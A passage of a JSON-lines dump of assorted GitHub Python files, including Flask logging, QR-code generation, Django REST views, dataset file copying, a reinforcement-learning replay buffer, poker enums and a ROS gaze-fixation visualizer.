start_time))\n\n","repo_name":"enirobot/codingtest","sub_path":"python/카펫.py","file_name":"카펫.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10894432752","text":"def init(app):\n    \"\"\"\n    Initialize logging for the application, (only if its not in debug mode)\n    \"\"\"\n    if not app.debug:\n        from logging import Formatter\n        from logging.handlers import SMTPHandler, TimedRotatingFileHandler\n        \n        # File handler\n        file_formatter = Formatter('%(asctime)s %(levelname)s: %(message)s ' \\\n                                   '[in %(pathname)s:%(lineno)d]')\n        \n        file_handler = TimedRotatingFileHandler(app.config['LOG_FILE_NAME'], \n                                                when='midnight', \n                                                backupCount=31)\n        \n        file_handler.setFormatter(file_formatter)\n        file_handler.setLevel(app.config['LOG_FILE_LEVEL'])\n        app.logger.addHandler(file_handler)\n        \n        # Email handler\n        mail_formatter = Formatter('''\nMessage type:       %(levelname)s\nLocation:           %(pathname)s:%(lineno)d\nModule:             %(module)s\nFunction:           %(funcName)s\nTime:               %(asctime)s\n\nMessage:\n\n%(message)s\n''')\n        mail_handler = SMTPHandler(app.config['LOG_EMAIL_SERVER'], \n                                   app.config['LOG_EMAIL_SENDER'],\n                                   app.config['ADMIN_EMAILS'], \n                                   '[%s] Error' % app.config['HOST_DOMAIN'])\n        \n        mail_handler.setFormatter(mail_formatter)\n        mail_handler.setLevel(app.config['LOG_EMAIL_LEVEL'])\n        app.logger.addHandler(mail_handler)\n        ","repo_name":"localprojects/Civil-Debate-Wall","sub_path":"cdw/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"7327573645","text":"# -*- coding: utf-8 -*-\nimport qrcode\nimport pandas as pd\nimport uuid\nfrom pathlib import Path\nimport os\nfrom PIL import Image\n\n\ndef add_icon(img, icon_path):\n    \"\"\"\n    为二维码添加icon\n    \"\"\"\n    icon = Image.open(icon_path)\n    img_w, img_h = img.size\n    factor = 6\n    size_w = int(img_w / factor)\n    size_h = int(img_h / factor)\n\n    icon_w, icon_h = icon.size\n    if icon_w > size_w:\n        icon_w = size_w\n    if icon_h > size_h:\n        icon_h = size_h\n    icon = icon.resize((icon_w, icon_h), Image.ANTIALIAS)\n\n    w = int((img_w - icon_w) / 2)\n    h = int((img_h - icon_h) / 2)\n    img.paste(icon, (w, h), icon)\n\n\ndef make_qr_code(item_id, guid):\n    \"\"\"\n    根据url 绘制二维码\n    \"\"\"\n    url = \"http://m.wz.qichecdn.com/darkhouse/app/index?no=%s\" % guid\n    qr = qrcode.QRCode(version=2,\n                       error_correction=qrcode.constants.ERROR_CORRECT_L,\n                       box_size=4,\n                       border=4)\n    qr.add_data(url)\n    qr.make(fit=True)\n    img = qr.make_image()\n    img = img.convert(\"RGBA\")\n    print(url)\n    directory = Path(\"../pic\")\n    if not directory.exists():\n        os.makedirs(directory)\n    add_icon(img, \"../pic/nuo.png\")\n    img.save(\"../pic/%d_%s.png\" % (item_id, guid))\n\n\ndef save_uuid():\n    # 保存guid 为excel\n    file_path = r'guid.xlsx'\n    directory = Path(file_path)\n    if not directory.exists():\n        guid_array = []\n        for i in range(1, 31):\n            dic = {'id': i, \"guid\": str(uuid.uuid4()).replace(\"-\", \"\")}\n            guid_array.append(dic)\n        writer = pd.ExcelWriter(file_path)\n        df = pd.DataFrame(guid_array)\n        df.to_excel(writer, columns=['id', 'guid'], index=False, encoding=\"utf-8\", sheet_name=\"Sheet\")\n        writer.save()\n\n\nif __name__ == '__main__':\n    \"\"\"\n    方法主入口\n    \"\"\"\n    save_uuid()\n    guid_list = pd.read_excel(\"guid.xlsx\")\n    for guid_item in guid_list.values:\n        make_qr_code(guid_item[0], guid_item[1])\n    print(\"done\")\n","repo_name":"RucLuke/MLStudy","sub_path":"data_utils/make_qr_code.py","file_name":"make_qr_code.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16317580545","text":"from drf_yasg import openapi\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\n# Create your views here.\nfrom noah import responses\nfrom noah.custom_status_codes import PROJECTS_LIST_SENT, TEMPLATE_ID_NOT_PROVIDED, TEMPLATE_WITH_SPECIFY_ID_NOT_FOUND, \\\n    TEMPLATE_DOES_NOT_HAVE_PARTS, PROJECT_CREATED_SUCCESSFULLY, PROJECT_DOES_NOT_EXISTS, INVALID_PROJECT_DETAIL, \\\n    PROJECT_UPDATED_SUCCESSFULLY, PROJECT_PART_DOES_NOT_EXISTS, EMPTY_BLOCK_ERROR, PROJECT_PART_BLOCK_CREATED, \\\n    PROJECT_PART_BLOCK_UPDATED, INVALID_PROJECT_PART_BLOCK_DETAIL, PROJECT_PART_BLOCK_DOES_NOT_EXISTS, \\\n    ONE_PROJECT_PART_BLOCK_NEED\nfrom noah.permissions import IsAuthenticated\nfrom projects.models import Project, ProjectPart, ProjectPartBlock\nfrom projects.serializers import CreateProjectSerializer, GetProjectSerializer, UpdateProjectSerializer, \\\n    GetProjectPartBlockSerializer, UpdateProjectPartBlockSerializer\nfrom templates.models import Template, TemplatePart\n\nfrom drf_yasg.utils import swagger_auto_schema\n\n\nclass ProjectsCreateListAPI(APIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(tags=['Project'], operation_summary='Create project from templates',\n                         request_body=CreateProjectSerializer)\n    def post(self, request):\n        serializer = CreateProjectSerializer(data=request.data)\n\n        if not serializer.is_valid():\n            # template id isn't provided\n            return Response(responses.generate_failure_response(TEMPLATE_ID_NOT_PROVIDED, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n\n        try:\n            # Initiate project\n            template = Template.objects.get(id=serializer.data['template'])\n\n            template_parts = TemplatePart.objects.filter(template=template, is_deleted=False)\n\n            if template_parts.count() <= 0:\n                return Response(responses.generate_failure_response(TEMPLATE_DOES_NOT_HAVE_PARTS, payload={}),\n                                status=status.HTTP_400_BAD_REQUEST)\n\n            project = Project.objects.init_project(template, request.user)\n\n            for template_part in template_parts:\n                project_part = ProjectPart.objects.init_project_part(template_part, project)\n\n                project_part_block = ProjectPartBlock.objects.init_project_part_block(project_part)\n\n            # Get created project\n            project_serializer = GetProjectSerializer(project)\n\n            return Response(\n                responses.generate_success_response(PROJECT_CREATED_SUCCESSFULLY, payload=project_serializer.data),\n                status=status.HTTP_201_CREATED)\n\n        except Template.DoesNotExist:\n            return Response(responses.generate_failure_response(TEMPLATE_WITH_SPECIFY_ID_NOT_FOUND, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n\n    @swagger_auto_schema(tags=['Project'], operation_summary='Get project list based on status', manual_parameters=[\n        openapi.Parameter('status', openapi.IN_QUERY, description=\"Project status. (Draft: 0, Completed: 1)\",\n                          type=openapi.TYPE_INTEGER)])\n    def get(self, request):\n\n        projects = Project.objects.exclude(is_deleted=True)\n\n        project_status = self.request.query_params.get('status', None)\n        if project_status is not None:\n            projects = projects.filter(status=project_status)\n\n        serializer = GetProjectSerializer(projects, many=True)\n\n        return Response(\n            responses.generate_success_response(PROJECTS_LIST_SENT, payload=serializer.data))\n\n\nclass ProjectGetUpdateAPI(APIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(tags=['Project'], operation_summary='Get particular project')\n    def get(self, request, project_id=None):\n\n        projects = Project.objects.exclude(is_deleted=True)\n\n        if project_id is not None:\n            projects = projects.filter(id=project_id)\n\n        serializer = GetProjectSerializer(projects, many=True)\n\n        return Response(\n            responses.generate_success_response(PROJECTS_LIST_SENT, payload=serializer.data))\n\n    @swagger_auto_schema(tags=['Project'], operation_summary=\"Update project details.\",\n                         operation_description='Update project details. e.g., Title. Delete project using is_deleted.',\n                         request_body=UpdateProjectSerializer)\n    def patch(self, request, project_id=None):\n        try:\n            project = Project.objects.get(id=project_id)\n\n            serializer = UpdateProjectSerializer(project, data=request.data, partial=True)\n\n            if not serializer.is_valid():\n                return Response(responses.generate_failure_response(INVALID_PROJECT_DETAIL, payload=serializer.errors),\n                                status=status.HTTP_400_BAD_REQUEST)\n\n            serializer.save()\n\n            return Response(\n                responses.generate_success_response(PROJECT_UPDATED_SUCCESSFULLY, payload=serializer.data),\n                status=status.HTTP_201_CREATED)\n\n        except Project.DoesNotExist:\n            return Response(responses.generate_failure_response(PROJECT_DOES_NOT_EXISTS, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ProjectPartBlocksCreateAPI(APIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(tags=['Project Blocks'], operation_summary='Create/Add new block to part of project')\n    def post(self, request, project_id, part_id):\n        try:\n            project = Project.objects.exclude(is_deleted=True).get(id=project_id)\n            project_part = ProjectPart.objects.exclude(is_deleted=True).get(id=part_id, project=project)\n\n            project_part_blocks = ProjectPartBlock.objects.filter(project_part=project_part, is_deleted=False).order_by(\n                '-block_letter')\n\n            # If there is only one  block and empty description then don't allow to create a block\n            if project_part_blocks.count() > 0 and not project_part_blocks.first().description:\n                serializer = GetProjectPartBlockSerializer(project_part_blocks.first())\n                return Response(responses.generate_failure_response(EMPTY_BLOCK_ERROR, payload=serializer.data),\n                                status=status.HTTP_400_BAD_REQUEST)\n\n            # Get next block letter\n            block_letter = 'A'\n            if project_part_blocks.count() > 0:\n                block_letter = project_part_blocks.first().block_letter\n\n            next_block_letter = chr(ord(block_letter) + 1)\n\n            # Create block with next block letter\n            project_part_block = ProjectPartBlock.objects.create_project_part_block(project_part, next_block_letter)\n\n            serializer = GetProjectPartBlockSerializer(project_part_block)\n\n            return Response(\n                responses.generate_success_response(PROJECT_PART_BLOCK_CREATED, payload=serializer.data),\n                status=status.HTTP_201_CREATED)\n\n        except Project.DoesNotExist:\n            return Response(responses.generate_failure_response(PROJECT_DOES_NOT_EXISTS, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n        except ProjectPart.DoesNotExist:\n            return Response(responses.generate_failure_response(PROJECT_PART_DOES_NOT_EXISTS, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ProjectPartBlockUpdateAPI(APIView):\n    permission_classes = (IsAuthenticated,)\n\n    @swagger_auto_schema(tags=['Project Blocks'], operation_summary='Update/Delete block details',\n                         request_body=UpdateProjectPartBlockSerializer)\n    def patch(self, request, project_id, part_id, block_id):\n        try:\n            project = Project.objects.exclude(is_deleted=True).get(id=project_id)\n            project_part = ProjectPart.objects.exclude(is_deleted=True).get(id=part_id, project=project)\n\n            # Create block with next block letter\n            project_part_block = ProjectPartBlock.objects.exclude(is_deleted=True).get(id=block_id,\n                                                                                       project_part=project_part)\n\n            serializer = UpdateProjectPartBlockSerializer(project_part_block, data=request.data, partial=True)\n\n            if not serializer.is_valid():\n                return Response(\n                    responses.generate_failure_response(INVALID_PROJECT_PART_BLOCK_DETAIL, payload=serializer.errors),\n                    status=status.HTTP_400_BAD_REQUEST)\n\n            # Block delete procedure\n            if 'is_deleted' in request.data and request.data['is_deleted']:\n                total_project_part_blocks = ProjectPartBlock.objects.exclude(is_deleted=True).filter(\n                    project_part=project_part)\n                if total_project_part_blocks.count() <= 1:\n                    return Response(\n                        responses.generate_failure_response(ONE_PROJECT_PART_BLOCK_NEED,\n                                                            payload=serializer.data),\n                        status=status.HTTP_400_BAD_REQUEST)\n\n            serializer.save()\n\n            return Response(\n                responses.generate_success_response(PROJECT_PART_BLOCK_UPDATED, payload=serializer.data),\n                status=status.HTTP_201_CREATED)\n\n        except Project.DoesNotExist:\n            return Response(responses.generate_failure_response(PROJECT_DOES_NOT_EXISTS, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n        except ProjectPart.DoesNotExist:\n            return Response(responses.generate_failure_response(PROJECT_PART_DOES_NOT_EXISTS, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n        except ProjectPartBlock.DoesNotExist:\n            return Response(responses.generate_failure_response(PROJECT_PART_BLOCK_DOES_NOT_EXISTS, payload={}),\n                            status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"console360/Noah-Media","sub_path":"projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18527264905","text":"import sys \nimport os\nimport glob\nimport shutil\nimport random \n\nSUBSAMPLE_RATIO = 15\n\ndef copy_videos(source, destination_memory, destination_target, data_set_percent_size = float(0.07)):\n\n    # Get the subdirectory names using list comprehension\n    video_ids = [d for d in os.listdir(source)]\n\n    for video_id in video_ids:\n        scene_dir = os.path.join(source, video_id)\n        frame_folder = scene_dir + \"/\" + f\"{video_id}_frames/lowres_wide\"\n        \n\n        files = [f for f in os.listdir(frame_folder) if f.endswith('.png')]\n\n        # Subsample before shuffling to get a more even temporally spread \n        files = files[::SUBSAMPLE_RATIO]\n\n        random.seed(0)\n        random.shuffle(files)\n    \n        split_num = int(len(files)*data_set_percent_size)\n        files_memory = files[:split_num]\n        files_target = files[split_num:]\n\n        for file in files_memory:      \n            src_path = os.path.join(frame_folder, file)\n            dst_path = destination_memory\n            shutil.copy(src_path, dst_path)\n                    \n        for file in files_target:      \n            src_path = os.path.join(frame_folder, file)\n            dst_path = destination_target\n            shutil.copy(src_path, dst_path)\n\n\nif __name__ == \"__main__\":\n    source = \"../ARKitScenes/data/3dod/Training/\"\n    destination_memory = \"../ARKitScenes/memory/\"\n    destination_target = \"../ARKitScenes/target/\"\n    os.makedirs(os.path.dirname(destination_memory), exist_ok=True)\n    os.makedirs(os.path.dirname(destination_target), exist_ok=True)\n\n    copy_videos(source, destination_memory, destination_target, data_set_percent_size = float(0.9))\n\n    source1 = \"../ARKitScenes/data/3dod/Training/40777060/40777060_frames/lowres_wide\"\n    source2 = \"../ARKitScenes/data/3dod/Training/40777065/40777065_frames/lowres_wide\"\n\n    original_count1 = 0\n    for root_dir, cur_dir, files in os.walk(source1):\n        original_count1 += len(files)\n    print('file count:', original_count1)\n    \n    original_count2 = 0\n    for root_dir, cur_dir, files in os.walk(source2):\n        original_count2 += len(files)\n    print('file count:', original_count2)\n\n    print(\"original count:\", original_count1+original_count2)\n\n    memory_count = 0\n    for root_dir, cur_dir, files in os.walk(destination_memory):\n        memory_count += len(files)\n    print('memory count:', memory_count)\n\n    target_count = 0\n    for root_dir, cur_dir, files in os.walk(destination_target):\n        target_count += len(files)\n    print('target count:', target_count)","repo_name":"John-HarringtonNZ/CMU_16833_Semantic_Scene_Recognition","sub_path":"scripts/copy_files_to_directory_utils.py","file_name":"copy_files_to_directory_utils.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6719106401","text":"import webbrowser\r\nimport webbrowser as web\r\nimport time\r\ndef forin(x,y,z):\r\n    for j in range(int(x), int(y)):\r\n        web.register('chrome', None, webbrowser.BackgroundBrowser(z))\r\n        url = '192.168.44.' + str(j)\r\n        time.sleep(1)\r\n        web.get('chrome').open_new_tab(url)\r\n\r\nfirst = input('first var:')\r\ndouble = input('double var:(input var + 1 )')\r\npath = 'C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe'\r\nforin(first,double,path)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"SHLL/Python_toStudy","sub_path":"test1/test/forbrowser.py","file_name":"forbrowser.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39119161101","text":"\"\"\"\nEn este segundo ejercicio, tendréis que crear un archivo py y dentro crearéis una clase Vehículo,\n\nharéis un objeto de ella, lo guardaréis en un archivo y luego lo cargamos.\n\n\"\"\"\nimport pickle\nimport time\nclass Vehiculo():\n    Ahora = time.localtime()\n    ahora = time.strftime(\"%a, %d %b %Y %H:%M:%S +0000\")\n    print(ahora)\n    def __int__(self,ahora):\n        self.ahora = ahora\n\n    def getLaHora(self):\n        return self.ahora\n\nLaHoraes = Vehiculo()\n\n\"\"\"\nla siguiente linea permite guardar los datos en un arcchivo \nwb{escribe datos y los guarda de forma binaria}\n\"\"\"\ndef GuardaBin():\n    f = open(\"Guardar_la_Hora.bin\", 'wb')\n    pickle.dump(LaHoraes, f)\n    f.close()\ndef AbreBin():\n    f = open(\"Guardar_la_Hora.bin\", 'rb')\n    Abre=pickle.load(f)\n    f.close()\n    print(Abre)\nprint(AbreBin())","repo_name":"odvr/campus.open-bootcamp","sub_path":"Curso de Python/Entrada_Salida_E2.py","file_name":"Entrada_Salida_E2.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27558754203","text":"import numpy as np\nfrom copy import deepcopy as dc\nimport random\n\n\nclass Memory:\n    def __init__(self, capacity, k_future, env):\n        self.capacity = capacity\n        self.memory = []\n        self.memory_counter = 0\n        self.memory_length = 0\n        self.env = env\n\n        self.future_p = 1 - (1. / (1 + k_future))\n\n    def sample(self, batch_size):\n\n        ep_indices = np.random.randint(0, len(self.memory), batch_size)\n        time_indices = np.random.randint(0, len(self.memory[0][\"next_state\"]), batch_size)\n        states = []\n        actions = []\n        desired_goals = []\n        next_states = []\n        next_achieved_goals = []\n\n        for episode, timestep in zip(ep_indices, time_indices):\n            states.append(dc(self.memory[episode][\"state\"][timestep]))\n            actions.append(dc(self.memory[episode][\"action\"][timestep]))\n            desired_goals.append(dc(self.memory[episode][\"desired_goal\"][timestep]))\n            next_achieved_goals.append(dc(self.memory[episode][\"next_achieved_goal\"][timestep]))\n            next_states.append(dc(self.memory[episode][\"next_state\"][timestep]))\n\n        states = np.vstack(states)\n        actions = np.vstack(actions)\n        desired_goals = np.vstack(desired_goals)\n        next_achieved_goals = np.vstack(next_achieved_goals)\n        next_states = np.vstack(next_states)\n\n        her_indices = np.where(np.random.uniform(size=batch_size) < self.future_p)\n        future_offset = np.random.uniform(size=batch_size) * (len(self.memory[0][\"next_state\"]) - time_indices)\n        future_offset = future_offset.astype(int)\n        future_t = (time_indices + 1 + future_offset)[her_indices]\n\n        future_ag = []\n        for episode, f_offset in zip(ep_indices[her_indices], future_t):\n            future_ag.append(dc(self.memory[episode][\"achieved_goal\"][f_offset]))\n        future_ag = np.vstack(future_ag)\n\n        desired_goals[her_indices] = future_ag\n        rewards = np.expand_dims(self.env.compute_reward(next_achieved_goals, desired_goals, None), 1)\n\n        return self.clip_obs(states), actions, rewards, self.clip_obs(next_states), self.clip_obs(desired_goals)\n\n    def add(self, transition):\n        self.memory.append(transition)\n        if len(self.memory) > self.capacity:\n            self.memory.pop(0)\n        assert len(self.memory) <= self.capacity\n\n    def __len__(self):\n        return len(self.memory)\n\n    @staticmethod\n    def clip_obs(x):\n        return np.clip(x, -200, 200)\n\n    def sample_for_normalization(self, batch):\n        size = len(batch[0][\"next_state\"])\n        ep_indices = np.random.randint(0, len(batch), size)\n        time_indices = np.random.randint(0, len(batch[0][\"next_state\"]), size)\n        states = []\n        desired_goals = []\n\n        for episode, timestep in zip(ep_indices, time_indices):\n            states.append(dc(batch[episode][\"state\"][timestep]))\n            desired_goals.append(dc(batch[episode][\"desired_goal\"][timestep]))\n\n        states = np.vstack(states)\n        desired_goals = np.vstack(desired_goals)\n\n        her_indices = np.where(np.random.uniform(size=size) < self.future_p)\n        future_offset = np.random.uniform(size=size) * (len(batch[0][\"next_state\"]) - time_indices)\n        future_offset = future_offset.astype(int)\n        future_t = (time_indices + 1 + future_offset)[her_indices]\n\n        future_ag = []\n        for episode, f_offset in zip(ep_indices[her_indices], future_t):\n            future_ag.append(dc(batch[episode][\"achieved_goal\"][f_offset]))\n        future_ag = np.vstack(future_ag)\n\n        desired_goals[her_indices] = future_ag\n\n        return self.clip_obs(states), self.clip_obs(desired_goals)\n","repo_name":"alirezakazemipour/DDPG-HER","sub_path":"memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"16"}
+{"seq_id":"35615005604","text":"import enum\n\n\nclass Shape(enum.IntEnum):\n    Club = 0\n    Diamond = 1\n    Heart = 2\n    Spade = 3\n\n\nclass Rank(enum.IntEnum):\n    Two = 1\n    Three = 2\n    Four = 3\n    Five = 4\n    Six = 5\n    Seven = 6\n    Eight = 7\n    Nine = 8\n    Ten = 9\n    Jack = 10\n    Queen = 11\n    King = 12\n    Ace = 13\n\n\nStrToShapeDict = {\n    'c': Shape.Club,\n    'd': Shape.Diamond,\n    'h': Shape.Heart,\n    's': Shape.Spade\n}\n\nShapeToStrDict = {\n    Shape.Club: 'c',\n    Shape.Diamond: 'd',\n    Shape.Heart: 'h',\n    Shape.Spade: 's'\n}\n\nStrToRankDict = {\n    'T': Rank.Ten,\n    'J': Rank.Jack,\n    'Q': Rank.Queen,\n    'K': Rank.King,\n    'A': Rank.Ace\n}\n# other ranks\nfor number in range(2, 10):\n    StrToRankDict[f'{number}'] = number - 1\n","repo_name":"hdmun/poker-server-with-akka.net","sub_path":"scripts/bit-count-table-generator/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31807358930","text":"#!/usr/bin/env python\nimport cv2\nimport pandas as pd\nimport numpy as np\nimport cv_bridge\nimport rospy\nimport sensor_msgs.msg\nimport ibmmpy.msg\nimport fixation_detector\n\n\ndef get_fixation_from_point_msg(msg):\n    if not isinstance(msg.id, int):\n        print('unexpected msg type: {}'.format(type(msg.id)))\n        print(msg)\n        raise Exception\n    return pd.DataFrame({\n        'id': msg.id,\n        'start_timestamp': msg.start_timestamp.to_sec(),\n        'duration': msg.duration,\n        'x_center': msg.x_center,\n        'y_center': msg.y_center\n        }, index=[msg.id]\n        ).dropna()\n    \n\nclass FixationVisualizer:\n    __COLORS__ = ( (0, 0, 255), (0, 255, 0), (255, 0, 0), (255, 255, 0), (255, 0, 255), (0, 255, 255) )\n    __UNUSED_COLOR__ = ( 192, 192, 192 )\n    __GAZE_RADIUS__ = 5\n    __FIX_RADIUS__ = 15\n    __LINGER_COUNT__ = len(__COLORS__)\n    __MAX_PUB_PERIOD__ = rospy.Duration(0.1)\n\n    def __init__(self, \n                 image_topic='/image',\n                 image_subtopic='image_raw',\n                 fixation_topic='/fixations',\n                 gaze_topic='/gaze'):\n        \n        self.cam_info = None\n        \n        self.fixations = pd.DataFrame()\n        self.raw_data = pd.DataFrame()\n        \n        self.bridge = cv_bridge.CvBridge()\n\n        if image_topic is not None:\n            self.cam_info_sub = rospy.Subscriber(image_topic + '/camera_info', sensor_msgs.msg.CameraInfo, self._cam_info_callback)\n            self.image_sub = rospy.Subscriber(image_topic + '/' + image_subtopic, sensor_msgs.msg.Image, self._frame_callback)\n            self._last_image = None\n        else:\n            self.cam_info = sensor_msgs.msg.CameraInfo(height=768, width=1024)\n            self.timer = rospy.Timer(rospy.Duration.from_sec(0.1), self._timer_callback, oneshot=False)\n            self._last_image = np.zeros((self.cam_info.height, self.cam_info.width, 3), dtype=np.uint8)\n        \n        self.fix_sub = rospy.Subscriber(fixation_topic, ibmmpy.msg.FixationDataPoint, self._fix_callback)\n        self.gaze_sub = rospy.Subscriber(gaze_topic, ibmmpy.msg.GazeData, self._gaze_callback)\n        self.image_pub = rospy.Publisher('~image_overlay', sensor_msgs.msg.Image, queue_size=1)\n\n        self._last_time = None\n        self._last_pub_time = None\n        \n    def draw_fixations(self, frame, fixations):\n        for fix in fixations.itertuples():\n            pos = (int(fix.x_center * self.cam_info.width), int( (1-fix.y_center) * self.cam_info.height ) )\n            color = FixationVisualizer.__COLORS__[ fix.id % len(FixationVisualizer.__COLORS__) ]\n            cv2.circle(frame, pos, FixationVisualizer.__FIX_RADIUS__, color, 3)\n            \n    def draw_raw_gaze(self, frame, raw_data, fixations):\n\n        fix_iter = fixations.itertuples()\n        try:\n            fix = next(fix_iter)\n        except StopIteration:\n            fix, fix_iter = None, None\n\n        for gaze in raw_data.itertuples():\n            while fix_iter is not None and fix.start_timestamp + 1e-3*fix.duration < gaze.timestamp:\n                try:\n                    fix = next(fix_iter)\n                except StopIteration:\n                    fix, fix_iter = None, None\n            if fix is None or gaze.timestamp < fix.start_timestamp:\n                color = FixationVisualizer.__UNUSED_COLOR__\n            else:\n                color = FixationVisualizer.__COLORS__[fix.id % len(FixationVisualizer.__COLORS__)]\n            pos = (int(gaze.x * self.cam_info.width), int( (1-gaze.y) * self.cam_info.height ) )\n            cv2.circle(frame, pos, FixationVisualizer.__GAZE_RADIUS__, color, -1)\n        \n    \n    def draw_frame(self, frame, cur_time):\n        # handle if an addl fix is added while we're running\n        fix = self.fixations\n        self.draw_fixations(frame, fix) \n        \n        raw_gaze = self.raw_data\n        self.draw_raw_gaze(frame, raw_gaze, fix)\n        \n        return frame\n\n    def compile_data_and_publish(self, tm):\n        # call this from all the callbacks\n        # basically bc if we're running in sim time, and pause the bag, the timer callback pauses\n        # but the data is still coming in so problems\n        if self._last_image is None:\n            return\n        if self._last_pub_time is not None and (tm - self._last_pub_time) < FixationVisualizer.__MAX_PUB_PERIOD__:\n            return\n        self._last_pub_time = tm\n        frame = self._last_image.copy()\n        new_frame = self.draw_frame(frame, tm.to_sec())\n        self.image_pub.publish(self.bridge.cv2_to_imgmsg(new_frame, encoding='bgr8'))\n    \n    def _fix_callback(self, msg):\n        self.fixations = pd.concat((self.fixations, get_fixation_from_point_msg(msg)))\n        if len(self.fixations) > FixationVisualizer.__LINGER_COUNT__:\n            self._last_time = self.fixations.iloc[-FixationVisualizer.__LINGER_COUNT__-1].start_timestamp + self.fixations.iloc[-FixationVisualizer.__LINGER_COUNT__-1].duration*1e-3\n            self.fixations = self.fixations[-FixationVisualizer.__LINGER_COUNT__:]\n        self.compile_data_and_publish(msg.header.stamp)\n    \n    def _gaze_callback(self, msg):\n        new_data = pd.DataFrame(fixation_detector.gaze_data_from_msg(msg)['world']).dropna().set_index('timestamp', drop=False)\n        if len(new_data) > 0 and len(self.raw_data) > 0:\n            filt = np.hstack((self.raw_data.iloc[-1].timestamp, new_data.iloc[:-1].timestamp.values)) <= new_data.timestamp.values\n            if not np.all(filt):\n                rospy.logwarn('new data went backwards: {}'.format(new_data.iloc[~filt]))\n                new_data = new_data.iloc[filt,:]\n        self.raw_data = pd.concat((self.raw_data, new_data))\n        if not self.raw_data.index.is_monotonic:\n            rospy.logwarn(''.join('new data not monotonic: ',\n                self.raw_data.assign(tm=lambda r: r.timestamp-msg.header.stamp.to_sec()).tail(),\n                new_data.assign(tm=lambda r: r.timestamp-msg.header.stamp.to_sec())))\n        _last_time = self._last_time\n        if _last_time is not None:\n            self.raw_data = self.raw_data.truncate(before=_last_time)\n        \n        self.compile_data_and_publish(msg.header.stamp)\n    \n    def _cam_info_callback(self, msg):\n        self.cam_info = msg\n        self.cam_info_sub.unregister()\n        \n    def _frame_callback(self, frame):\n        if self.cam_info is None:\n            rospy.logwarn('No camera info received yet')\n            return\n        self._last_image = self.bridge.imgmsg_to_cv2(frame, desired_encoding='bgr8')\n        self.compile_data_and_publish(frame.header.stamp)\n        \n    def _timer_callback(self, event):\n        rospy.logdebug('got timer callback at {}'.format(event.current_real))\n        self.compile_data_and_publish(event.current_real)\n\n\ndef main():\n    if rospy.get_param('~overlay'):\n        image_topic = rospy.resolve_name('raw_image')\n        image_subtopic = rospy.get_param('~image_subtopic', 'image_raw')\n        rospy.loginfo('reading image from topic {}'.format(image_topic))\n    else:\n        image_topic = None\n        image_subtopic = None\n        rospy.loginfo('generating empty fixation image')\n    fixation_topic = rospy.get_param('~fixation_topic', '/fixations')\n    gaze_topic = rospy.get_param('~gaze_topic', '/gaze')\n    # gaze_color = tuple(int(x) for x in rospy.get_param('~gaze_color', [255, 255, 0]))\n    # gaze_radius = int(rospy.get_param('~gaze_radius', 5))\n    # fix_color = tuple(int(x) for x in rospy.get_param('~fixation_color', [255, 0, 0]))\n    # fix_radius = int(rospy.get_param('~fixation_radius', 15))\n    # linger_time = rospy.get_param('~linger_time', 5)\n    \n    viz = FixationVisualizer(image_topic=image_topic, image_subtopic=image_subtopic,\n                             fixation_topic=fixation_topic, gaze_topic=gaze_topic)\n    \n    rospy.spin()\n\nif __name__ == \"__main__\":\n    rospy.init_node('fixation_visualizer')\n    main()\n        \n        \n    ","repo_name":"HARPLab/ibmmpy","sub_path":"scripts/fixation_visualizer.py","file_name":"fixation_visualizer.py","file_ext":"py","file_size_in_byte":7927,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
